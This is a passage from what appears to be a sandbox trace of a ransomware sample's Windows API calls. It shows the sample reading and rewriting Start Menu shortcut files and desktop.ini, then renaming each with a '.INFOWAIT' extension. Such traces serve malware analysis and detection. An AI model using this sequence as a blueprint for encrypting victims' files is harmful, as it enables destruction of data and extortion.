Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" [0133.994] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk.INFOWAIT" [0133.994] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk.infowait")) returned 1 [0133.995] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.996] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.996] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.996] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.997] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4e0 [0133.997] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.997] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.997] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4e0, lpOverlapped=0x0) returned 1 [0134.062] VirtualAlloc (lpAddress=0x0, dwSize=0x4e0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.063] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.063] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4e0, lpOverlapped=0x0) returned 1 [0134.063] CloseHandle (hObject=0xad0) returned 1 [0134.063] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" [0134.063] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk.INFOWAIT" [0134.063] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk.infowait")) returned 1 [0134.064] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.065] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.065] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.065] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.066] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x508 [0134.066] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.066] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.066] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x508, lpOverlapped=0x0) returned 1 [0134.097] VirtualAlloc (lpAddress=0x0, dwSize=0x508, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.097] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.097] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x508, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x508, lpOverlapped=0x0) returned 1 [0134.097] CloseHandle (hObject=0xad0) returned 1 [0134.098] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" [0134.098] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk.INFOWAIT" [0134.098] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk.infowait")) returned 1 [0134.098] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.100] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.100] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.100] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.101] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4de [0134.101] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.101] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.101] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4de, lpOverlapped=0x0) returned 1 [0134.115] VirtualAlloc (lpAddress=0x0, dwSize=0x4de, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.116] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.116] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4de, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4de, lpOverlapped=0x0) returned 1 [0134.116] CloseHandle (hObject=0xad0) returned 1 [0134.116] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" [0134.116] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk.INFOWAIT" [0134.116] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk.infowait")) returned 1 [0134.117] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.117] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.118] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.118] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.118] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ee [0134.118] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.118] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.119] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4ee, lpOverlapped=0x0) returned 1 [0134.137] VirtualAlloc (lpAddress=0x0, dwSize=0x4ee, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.138] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.138] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4ee, lpOverlapped=0x0) returned 1 [0134.138] CloseHandle (hObject=0xad0) returned 1 [0134.138] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" [0134.138] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk.INFOWAIT" [0134.138] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk.infowait")) returned 1 [0134.139] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.139] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.140] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.140] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.140] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4fa [0134.140] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.140] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.140] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4fa, lpOverlapped=0x0) returned 1 [0134.152] VirtualAlloc (lpAddress=0x0, dwSize=0x4fa, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.152] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.152] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4fa, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4fa, lpOverlapped=0x0) returned 1 [0134.152] CloseHandle (hObject=0xad0) returned 1 [0134.153] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" [0134.153] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk.INFOWAIT" [0134.153] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk.infowait")) returned 1 [0134.153] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.154] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.155] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.155] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.156] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xab5 [0134.156] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.156] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.156] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xab5, lpOverlapped=0x0) returned 1 [0134.171] VirtualAlloc (lpAddress=0x0, dwSize=0xab5, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.172] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.172] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xab5, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xab5, lpOverlapped=0x0) returned 1 [0134.172] CloseHandle (hObject=0xad0) returned 1 [0134.172] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" [0134.172] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk.INFOWAIT" [0134.172] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk.infowait")) returned 1 [0134.173] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.174] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.174] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.174] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.178] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x989 [0134.178] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.178] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.178] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x989, lpOverlapped=0x0) returned 1 [0134.225] VirtualAlloc (lpAddress=0x0, dwSize=0x989, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.226] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.226] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x989, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x989, lpOverlapped=0x0) returned 1 [0134.226] CloseHandle (hObject=0xad0) returned 1 [0134.226] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" [0134.226] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk.INFOWAIT" [0134.226] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk.infowait")) returned 1 [0134.227] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.228] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.228] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.228] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.229] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x46a [0134.229] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.229] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.229] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x46a, lpOverlapped=0x0) returned 1 [0134.230] VirtualAlloc (lpAddress=0x0, dwSize=0x46a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.231] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.231] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x46a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x46a, lpOverlapped=0x0) returned 1 [0134.231] CloseHandle (hObject=0xad0) returned 1 [0134.231] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" [0134.231] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini", 